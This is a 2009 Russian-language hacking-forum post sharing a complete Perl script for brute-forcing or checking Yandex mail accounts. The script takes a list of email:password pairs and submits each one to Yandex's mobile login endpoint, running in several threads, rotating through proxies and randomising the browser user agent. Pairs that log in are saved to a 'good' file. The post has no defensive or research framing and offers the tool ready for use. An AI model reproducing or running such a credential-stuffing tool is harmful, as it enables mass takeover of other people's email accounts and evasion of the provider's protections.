Показать сообщение отдельно

Брут\чекер мыл на яндексе
  #8  
Старый 15.08.2009, 21:08
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Smile Брут\чекер мыл на яндексе

Код:
#!/usr/bin/perl
#yandex.ru checker
#(c) Gaus 2009
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

##############################
my $mails_file = 'mails.txt';# Файл со списокoм мыл, в формате мыло:пасс
my $delm = ';';              # Разделитель списка мыл
my $threads = 1;             # Кол-во потоков
my $proxy_file = 'proxy.txt';# Файл с проксями
my $proxy_mode = 'OFF';      # Режим использования прокси
my $good_mails = 'good.txt'; # Файл с валидными мылами
##############################

my @mails : shared = lf($mails_file);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    my $ua = LWP::UserAgent->new(timeout => 35,
                                 cookie_jar => new HTTP::Cookies,
                                 agent => agent());
    while(@mails)
    {
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my ($mail, $pass) = split $delm => shift @mails;
        my ($login, $dom) = split '@' => $mail;
        my $resp = $ua->post("http://pda-passport.yandex.ru/passport?mode=mauth",
                            ["timestamp" => time,
                             "login" => $login,
                             "passwd" => $pass,
                             "In" => "%C2%EE%E9%F2%E8"])->code;
        if($resp == 302)
        {
            wf($good_mails, "$mail;$pass\n");
            print "[ + ] $mail;$pass\n";
        }
        else
        {
            print "[ - ] $mail;$pass\n";
        }
    }
}
sub proxy
{
    my $ua = shift;
    my ($ip, $port) = split ':' => $proxys[rand scalar @proxys];
    $ua->proxy('http' => "http://$ip:$port");
    my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
    if($test =~ m,REMOTE_ADDR=$ip,i)
    {
        print "[ + ] Current proxy: $ip:$port\n";
        return 1;
    }
    else
    {
        print "[ - ] Error proxy: $ip:$port\n";
        return 0;
    }
}
sub agent
{
    my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
    return $agents[rand scalar @agents];
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp (my @data = <$dat>);
    close $dat;
    my %saw;
    return @data = grep(!$saw{$_}++, @data);
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
 
Ответить с цитированием